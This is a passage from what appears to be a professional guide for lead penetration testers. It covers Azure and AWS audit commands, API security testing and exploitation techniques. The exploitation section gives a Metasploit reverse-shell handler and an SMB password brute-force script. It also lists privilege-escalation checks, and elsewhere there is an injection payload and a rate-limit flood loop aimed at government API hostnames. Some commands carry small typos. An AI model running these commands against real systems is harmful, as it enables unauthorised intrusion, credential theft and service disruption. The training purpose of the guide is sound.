3. Cloud Security Hardening for Government Environments
Federal government increasingly adopts cloud services, making cloud security testing a critical competency. Lead Penetration Testers must assess AWS, Azure, and hybrid cloud deployments against government-specific security requirements.
Azure Security Assessment Commands:
Install Azure CLI and Az module
Install-Module -1ame Az -Scope CurrentUser -Repository PSGallery -Force
Check Azure Security Center recommendations
Get-AzSecurityAssessment | Where-Object {$_.Status -eq "Unhealthy"}
Audit Azure AD permissions
Get-AzureADDirectoryRole | ForEach-Object {Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId}
AWS Hardening Commands:
Install AWS CLI and configure
pip install awscli
aws configure
Security group audit
aws ec2 describe-security-groups --query 'SecurityGroups[].{Name:GroupName,Rules:IpPermissions}' --output table
IAM policy analysis
aws iam list-policies --scope Local --query 'Policies[?DefaultVersionId!=<code>False</code>]'
4. API Security Testing Methodologies
Modern government applications heavily rely on APIs, making them prime targets for attackers. Lead testers must possess expertise in API security assessment, including REST, SOAP, and GraphQL interfaces.
API Testing Commands and Procedures:
Using Postman collection runner for automated API security tests:
// Postman Pre-request Script for Authentication
pm.sendRequest({
url: 'https://gov-auth.service.gov.au/token',
method: 'POST',
header: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: {
mode: 'urlencoded',
urlencoded: [
{key: 'grant_type', value: 'client_credentials'},
{key: 'client_id', value: pm.environment.get('CLIENT_ID')},
{key: 'client_secret', value: pm.environment.get('CLIENT_SECRET')}
]
}
}, function (err, res) {
pm.environment.set('ACCESS_TOKEN', res.json().access_token);
});
OWASP API Top 10 Testing Commands:
Inject payloads to test for injection vulnerabilities
curl -X POST https://api.gov.service.gov.au/endpoint -H "Content-Type: application/json" -d '{"query": "{\"$gt\": \"\"}"}'
Test for broken object level authorization
curl -X GET https://api.gov.service.gov.au/users/1234 -H "Authorization: Bearer $TOKEN"
Rate limiting testing
for i in {1..100}; do curl -X GET https://api.gov.service.gov.au/resource -H "Authorization: Bearer $TOKEN"; done
5. Vulnerability Exploitation and Mitigation Techniques
Advanced exploitation techniques distinguish lead testers from junior practitioners. Understanding exploitation chains and their mitigations enables comprehensive risk assessment.
Exploitation Framework Configuration:
Metasploit resource script for automated exploitation:
auto_exploit.rc use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.5 set LPORT 443 set ExitOnSession false exploit -j -z use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.0/24 set USER_FILE /usr/share/wordlists/usr.txt set PASS_FILE /usr/share/wordlists/pass.txt run
Windows Privilege Escalation Commands:
Check for unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\" Registry permission checks Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services" | Select-Object -ExpandProperty Access Check for AlwaysInstallElevated vulnerabilities Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -1ame AlwaysInstallElevated
6. Report Writing and Stakeholder Communication
